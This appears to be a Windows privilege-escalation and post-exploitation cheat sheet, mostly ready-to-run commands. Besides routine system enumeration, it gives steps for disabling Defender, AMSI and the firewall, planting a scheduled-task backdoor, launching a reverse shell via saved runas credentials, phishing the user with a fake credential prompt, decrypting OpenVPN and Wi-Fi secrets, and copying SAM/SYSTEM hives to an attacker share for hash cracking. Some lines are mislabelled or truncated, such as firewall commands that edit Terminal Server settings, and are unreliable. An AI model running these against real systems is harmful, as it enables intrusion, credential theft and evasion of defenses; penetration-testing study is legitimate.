⭕Enumeration

System Information

general system information

systeminfo

one way to find out whether you are in a virtual environment or not is to check the output. for example the picture bellow is the output from a windows 10 machine in virtualbox:

for OS name and version ( can add any other filter too ) :

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

show information for a remote system ( used in domains ) :

systeminfo /S [ip or hostname]

environment variables:

set
Get-ChildItem Env: | ft Key,Value

Quick Security Checks

for both offensive and defensive sides of things.

GitHub - GhostPack/Seatbelt: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.GitHub

get a list of installed hot fixes

Get-HotFix

uninstall hot fixes (need permission):

wusa /uninstall /kb:1234512

patchs and updates:

wmic qfe
wmic qfe get Caption, Description, HotFixID, InstalledOn

list all drivers:

wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

list kernel drivers

driverquery | findstr Kernel

Kernel Exploits

Extract the output of the systeminfo command:

systeminfo > systeminfo.txt

Run wesng to find potential exploits:

python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less

Cross-reference results with compiled exploits:

GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合GitHub

GitHub - nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware.GitHub

​https://github.com/abatchy17/WindowsExploit

SNMP configurations

check to see if there is any SNMP services running and find valid community strings:

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP"

for more information on windows registry hive and 'reg' commands refer to this section of the book.

VNC configurations

reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

Check Powershell Version

REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion

Navigate the Registry with Powershell

might require admin rights or higher privileges

PS C:\> cd HKLM:\
PS HKLM:\> ls

Get Last System Boot Time

$os = Get-WmiObject win32_operatingsystem $uptime = (Get-Date) - $os.ConvertToDateTime($os.LastBootUpTime) Write-Output ("Last boot: " + $os.ConvertToDateTime($os.LastBootUpTime))
You can also run this single line to get last boot time
systeminfo | more

Powershell History

ConsoleHost_history #Find the PATH where is saved
​
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Get File System Drives

wmic logicaldisk get caption || fsutil fsinfo drives
driverquery | findstr "File System"
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}

mount / volumes

mountvol

Logs and Audit Setting

view system auditing setting

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

check if system logs are stored somewhere else:

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

view log categories:

wevtutil enum-logs
wevtutil el

configuration for System log

wevtutil gl System

general application logging info:

wevtutil gli Application

check credential guard

reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags

check cached credentials (domain)

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Check for Defenses

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more 

windows defender

if you have privileges:

# check status of Defender
PS C:\> Get-MpComputerStatus

# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true

# disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1 

# exclude a folder
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"

# remove signatures (if Internet connection is present, they will be downloaded again):
PS > "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All

applocker policy

Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections

Defense Evasion Techniques

check UAC

reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ 

LOLBAS is a great collection of methods for a lot of windows post-exploitation and privilege escalation tasks including UAC bypass with windows built-in binaries.

GitHub - hfiref0x/UACME: Defeating Windows User Account ControlGitHub

Network and Connections

netstat -ano
ipconfig /all
arp -a
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

extract wifi password

netsh wlan show profile
netsh wlan show profile <SSID> key=clear

one-liner to extract all APs at once:

cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

routing info

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

network shares

net share
Find-DomainShare -ComputerDomain domain.local

firewall

# list firewall status and configs
netsh advfirewall firewall dump
# or 
netsh firewall show state
netsh firewall show config


# list blocked ports
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules |  where {$_.action -eq "0"} | select name,applicationname,localports

# Disable Firewall on Windows 7 via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server"  /v fDenyTSConnections /t REG_DWORD /d 0 /f

# Disable Firewall on Windows 7 via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`

# Disable Firewall on any windows via cmd
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off

Users and Groups

Get current username

echo %USERNAME% || whoami
$env:username

list privileges

whoami /priv
whoami /groups

list all local users and groups

net user
whoami /all
net localgroup
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-WmiObject -Class Win32_UserAccount
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

local user home directories

dir C:\Users
Get-ChildItem C:\Users

find local admins

net localgroup Administrators 

list logon requirements (useful for brute-forcing)

net accounts

get details about a user

net user [username]

get details about a group

net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

logged users/sessions

qwinsta
klist sessions

dump clipboard

powershell -command "Get-Clipboard"

Software and Processes

check 'always install elevated'

(both should be enabled in order to be vulnerable)

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

list running processes

qprocess * 
tasklist
tasklist /m ntdll.dll

Find the list of processes launched by a user

tasklist /fi "username eq userName"

Find the memory usage of a specific process

tasklist /fi "pid eq processId"
tasklist /fi "pid eq 6544"

Get the list of services running in a process

tasklist /svc /fi "pid eq processId"
tasklist /svc /fi "pid eq 624"

Find processes that are running a specified image file:

tasklist /fi "imagename eq imageName"
tasklist /fi "imagename eq firefox.exe"

Find the process running a specific service

tasklist /fi "services eq serviceName"
tasklist /fi "services eq webclient"

Kill a Task

taskkill -f /pid 1337
taskkill /IM notepad.exe

list processes running as "system"

tasklist /v /fi "username eq system"

check installed programs

(might need higher privileges)

wmic product get name, version, vendor
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
​
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

show system-wide updates

wmic qfe get Caption, Description, HotFixID, InstalledOn

uninstall software

(if you have privileges)

wmic product where name="<NAME>" call uninstall /INTERACTIVE:OFF

Services

view/start/stop a service

net start
wmic service list brief
sc query
Get-Service
sc start [name]
sc config [name] start= demand
sc stop [name]

get services real name with net start output

sc getkeyname "service name"

check the required privilege level for each service.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul

check if you can modify registry entries of any services

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
​
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
​
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service.

To change the Path of the binary executed:

reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

find all service executables

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\services.txt

if wmic is not available :

sc query state= all | findstr "SERVICE_NAME:" >> servicenames.txt
FOR /F "tokens=2 delims= " %i in (servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

search for unquoted service paths

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

check for weak service permissions

accesschk.exe -accepteula -wuvc "Everyone" *
accesschk.exe -accepteula -wuvc "Users" *
accesschk.exe -accepteula -wuvc "Authenticated Users" *

Scheduled Tasks

list scheduled tasks

schtasks /query /fo LIST /v
schtasks

add startup scheduled tasks

(useful for persistence)

schtasks /create /tn "MyCustomTask" /sc onlogon /tr "C:\users\Administrator\Desktop\backdoor.exe"

schtasks /create /tn "MyCustomTask" /sc onstart /tr "C:\users\Administrator\Desktop\backdoor.exe"

Clear Text Credentials

search for 'password' keyword in registry hives

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\OpenSSH\Agent\Keys"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

extract openssh keys from registry

https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

find winlogon stored credentials (auto login)

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

if you find anything you can connect to the target from kali machine with this command:

winexe -U 'admin%password123' //192.168.1.22 cmd.exe

find putty session stored credentials

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

search windows credential manager

cmdkey /list

to use windows "runas" feature to get a reverse shell:

runas /savecred /user:admin C:\PrivEsc\reverse.exe 

phishing user for credential

powershell "$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password"

or

powershell "$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'admin',[Environment]::UserDomainName); $cred.getnetworkcredential().password"

log files

# IIS
C:\inetpub\logs\LogFiles\*
​
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

OpenVPN credentials

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
​
foreach ($item in $items)
{
  $encryptedbytes=$item.'auth-data'
  $entropy=$item.'entropy'
  $entropy=$entropy[0..(($entropy.Length)-2)]
​
  $decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
    $encryptedBytes, 
    $entropy, 
    [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
 
  Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

IIS web server configurations

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

search files for credentials

not as straight forward as linux, we first have to create a listing of all directories in the drive we want (usually C drive):

dir /b /a /s c:\ > cdirs.txt

/b → Uses bare format (no heading information or summary)
/a → Displays files with specified attributes
/s → Displays files in specified directory and all subdirectories

then we search this file to find directories and files that might be interesting:

type cdirs.txt | findstr /i password
type c:\rto\c-dirs.txt | findstr /i ssh
type c:\rto\c-dirs.txt | findstr /i kdbx
type c:\rto\c-dirs.txt | findstr /i vnc

some of the interesting directories/files in windows:

unattend.xml
Unattended.xml
sysprep.inf
sysprep.xml
VARIABLES.DAT
setupinfo
setupinfo.bak
web.config
SiteList.xml
.aws\credentials
.azure\accessTokens.json
.azure\azureProfile.json
gcloud\credentials.db
gcloud\legacy_credentials
gcloud\access_tokens.db

one-liner to check for credentials in all files

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

SAM and SYSTEM backups

The SAM and SYSTEM files are located in the C:\Windows\System32\config directory. The files are locked while Windows is running. Backups of the files may exist in the C:\Windows\Repair or C:\Windows\System32\config\RegBack directories.

if you find any backup files copy them to the attacker machine and use creddump7 to dump the hashes from SAM database:

copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\

git clone https://github.com/Neohapsis/creddump7.git

python2 creddump7/pwdump.py SYSTEM SAM

you can try to crack the admin hash with hashcat:

hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt

Cloud Credentials

(AWS)

##From user home.aws\credentialsAppData\Roaming\gcloud\credentials.dbAppData\Roaming\gcloud\legacy_credentialsAppData\Roaming\gcloud\access_tokens.db.azure\accessTokens.json.azure\azureProfile.json

Tools that search for passwords

​MSF-Credentials Plugin is a msf plugin I have created this plugin to automatically execute every metasploit POST module that searches for credentials inside the victim. Winpeas automatically search for all the files containing passwords mentioned in this page. Lazagne is another great tool to extract password from a system.

The tool SessionGopher search for sessions, usernames and passwords of several tools that save this data in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Import-Module path\to\SessionGopher.ps1;Invoke-SessionGopher -ThoroughInvoke-SessionGopher -AllDomain -oInvoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p [email protected]

Files and Shares

find files by name

gdr -PSProvider 'FileSystem' | %{ls -r $_.root} 2>$null | where { $_.name -eq "flag.txt"} -verbose

find all DOC files in C drive

Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination c:\temp}

search for a string/regex in a file

type [file] | find /i "[string]"
type [file] | findstr [regex]

search for a file in a directory

dir /b /s [directory]\[file]
dir /b /s c:\wmic.exe

find all files with a particular name

Get-ChildItem "C:\Users\" -recurse -include *passwords*.txt

show drives and disk info

fsutil fsinfo

tree map of a drive

tree C:\ /f /a > C:\output_of_tree.txt

find writable files

accesschk.exe -uws "Everyone" "C:\Program Files"

Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone"}

check for weak file permissions

accesschk.exe -uws "Everyone" "C:\Program Files" 
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

some important files to look for

%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts

connect to a network share

net use K: \\<IP address\share IE C or Admin>  
net use K: \\192.168.31.53\C  <--this will connect to the K drive
net use K: \\192.168.31.53\C$ /user:george P@$$Word34